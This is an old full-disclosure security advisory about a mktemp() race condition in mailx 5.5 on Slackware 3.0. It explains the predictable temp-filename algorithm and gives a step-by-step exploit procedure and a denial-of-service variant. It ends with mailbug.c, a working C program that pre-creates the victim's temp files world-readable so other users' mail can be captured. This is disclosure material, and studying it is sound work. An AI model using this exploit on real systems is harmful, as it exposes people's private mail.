home *** CD-ROM | disk | FTP | other *** search
-
-
-
-
- FEH
-
- Linux 'mailx' Security Holes
-
-
-
-
-
- There is a problem prevalent in the way many programs implement their
-
- usage of mktemp() in order to create temporary files in /tmp, allowing users
-
- on a machine to read and write to the contents of temporary files created.
-
- The basic problem is that there is a race condition that exists between
-
- the point that a program calls mktemp(), and the pathname returned by mktemp
-
- is actually created. For some programs, the file creation is immediately
-
- or almost immediately following the mktemp(), resulting in an extremely
-
- small window of opportunity, and as a result making it very difficult to
-
- exploit. However, there are other programs that do not immediately open
-
- the file, and in these cases it is only a matter of getting the timing
-
- right in order to exploit the hole.
-
- To exploit this hole, simply create the file that mktemp() returns as
-
- a valid temporary filename after mktemp() has been called, but before the
-
- file has been opened, allowing the user running the program permissions to
-
- read and write from that temporary file. The program will then succeed in
-
- an fopen, and will write to the file, oblivious to the fact that it didn't
-
- actually create the file, and that others can also read and write from the
-
- file.
-
- Note that most programs will immediately unlink() a temporary file, but
-
- that does not delete it until after it is closed. Closing a file results in
-
- the contents of it being flushed, and so by using a 'tail -f' or a similar
-
- procedure, you can capture the contents of the file before it is removed
-
- from the filesystem.
-
- The filename returned by mktemp() is easily determined for most unix
-
- platforms, allowing this bug to be exploited. For the linux libc, this is
-
- to replace the X's in the template with the leftmost digit starting at 'a',
-
- and then being incremented 'a'-'z', 'A'-'Z', and '0'-'9' (if that file
-
- already exists), and then replacing the rest of the X's with the process id
-
- (0 padded). Other operating systems use a variation of this technique,
-
- experimentation easily reveals the algorithm.
-
- The generic procedure used to formulate an exploit for a particular program
-
- with this bug is as follows:
-
- 1. detect the execution of the program.
-
- 2. determine the temporary filename that mktemp() will return
-
- when called by the program.
-
- 3. determine the point at which mktemp() is called by the program,
-
- and immediately following that point, create the file, with
-
- rw permissions for the user who is running the program.
-
- 4. read the contents of the temporary file, using a 'tail -f' or
-
- your own routines.
-
- 5. if the sticky bet is set on /tmp, clean up your mess by rm'ing
-
- the temp file you created, since the unlink() called by the
-
- actual program will fail if you are the owner.
-
-
-
- Linux's /bin/mail, as included in Slackware 3.0 (mailx 5.5), suffers
-
- from this mktemp() problem in all temporary files it creates. It uses 5
-
- temporary files with filenames generated during the program's initialization
-
- in a tinit() function, and then uses them as it becomes necessary during the
-
- program's execution. The race condition begins in this tinit() function.
-
- The temporary files that can be exploited are as follows:
-
- /tmp/ReXXXXXX
-
- Used when a user selects 'e' from the mailx command prompt, to edit
-
- mail. The message the user has selected to edit is copied to the
-
- temporary file at this point, and then the editor is invoked on that
-
- temp file. The race condition ends when the user has selected 'e',
-
- and allows the mesage being edited to be read.
-
- /tmp/RsXXXXXX
-
- Used when a user sends mail, usually from the command line, such as:
-
- 'mail dave'. The race condition ends when EOF is recieved from stdin,
-
- and the message is about to be sent, and allows the outgoing mail to
-
- be read.
-
- /tmp/RqXXXXXX
-
- Used when mail arrives into the mail spool while mail is currently
-
- running. The race condition ends when the program is preparing to
-
- shutdown, and allows the new contents of the mail spool to be read.
-
- /tmp/RmXXXXXX
-
- Used to prepend a message to the user's mbox file. Prepending
-
- requires the entire mbox contents to be read to the temporary file
-
- and then appened to the new message(s) being added to the file.
-
- This is disabled by default in Slackware 3.0 in the /etc/mail.rc
-
- by the use of the set append option. For this to be useful, that
-
- option needs to be removed from /etc/mail.rc, or an unset append
-
- needs to be added to the user executing mail's .mailrc file. The
-
- race condition ends when the program is preparing to shutdown
-
- /tmp/RxXXXXXX
-
- Used to read messages from the user's mail spool. The race condition
-
- ends during the program's startup, when the mail spool is read, and
-
- allows any new mail in the user's spool to be read. Because there
-
- is no user input between tinit() and this point, it is the only
-
- race condition that isn't completely trivial to exploit.
-
-
-
- The exploit that follows demonstrates the flaws in all but the final
-
- temporary file. To use, wait for a mail process to execute, then call the
-
- mailbug program with the process id as an argument, and finally execute a
-
- tail -f /tmp/R*, and let it run until the mail program has terminated
-
- execution.
-
- As an aside, there are a number of programs that are vulnerable to a
-
- directed denial of service attack preventing people from using them by
-
- creation of the 62 temporary files that are attempted to be used by mktemp(),
-
- resulting in the failure of the program to run. By continous running of a
-
- program watching for these vulnerable programs to start, they can be prevented
-
- from ever successfully executing (one such example of this is in.pop3d, which
-
- would allow a denial of service attack against a specific user from recieving
-
- mail through pop).
-
-
-
- Program: mailx-5.5 (/bin/mail)
-
- Affected Operating Systems: linux - Slackware 3.0, others with mailx-5.5
-
- Requirements: account on system, user using /bin/mail
-
- Temporary Patch: chmod o-x /usr/bin/Mail (ie: use something else)
-
- Security Compromise: any user with an account can read incoming, edited,
-
- or outgoing mail if the mail is processed by mailx.
-
- Synopsis: The predictability of mktemp() is exploited to
-
- create the temporary files after the filenames
-
- have been determined but before they are actually
-
- created, allowing the mail being dumped to those
-
- temporary files to be read by the creator of the
-
- files.
-
-
-
- mailbug.c:
-
- /* This program creates temporary files used by mailx (/bin/mail under
-
- Slackware 3.0), which can then be read by the program. This will
-
- exploit 4 of the 5 temporary files, the final temporary file is a
-
- tighter race condition, and is not handled by this code.
-
- Following execution of this program with the process id of mail that
-
- is running, execute 'tail -f /tmp/R*', redirecting to a file if desired,
-
- and allow it to run until the mail process has exited. This can be easily
-
- handled in a shell script, but is not included since it is not needed to
-
- sufficiently demonstrate the security flaw.
-
-
-
- */
-
-
-
-
-
- #include <stdio.h>
-
- #include <sys/stat.h>
-
- #include <sys/types.h>
-
- #include <fcntl.h>
-
-
-
- void exploit_mktemp(char *dest, char *prepend, char *pid)
-
- {
-
- int i;
-
-
-
- strcpy(dest,prepend);
-
- for(i=strlen(pid);i<6;i++)
-
- strcat(dest,"0");
-
- strcat(dest,pid);
-
- dest[strlen(prepend)] = 'a';
-
- }
-
-
-
-
-
- main(int argc, char **argv)
-
- {
-
- char tmpf[5][80]; /* hold filename */
-
-
-
- umask(0);
-
-
-
- if(argc<2)
-
- {
-
- printf("mailbug racer\nSyntax: %s process-id\n",argv[0]);
-
- return -1;
-
- }
-
-
-
- /* get mktemp filenames */
-
- exploit_mktemp(tmpf[0],"/tmp/Re",argv[1]);
-
- exploit_mktemp(tmpf[1],"/tmp/Rs",argv[1]);
-
- exploit_mktemp(tmpf[2],"/tmp/Rq",argv[1]);
-
- exploit_mktemp(tmpf[3],"/tmp/Rm",argv[1]);
-
-
-
-
-
- /* create temporary files */
-
- creat(tmpf[0],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
-
- creat(tmpf[1],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
-
- creat(tmpf[2],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
-
- creat(tmpf[3],S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH);
-
-
-
- }
-
-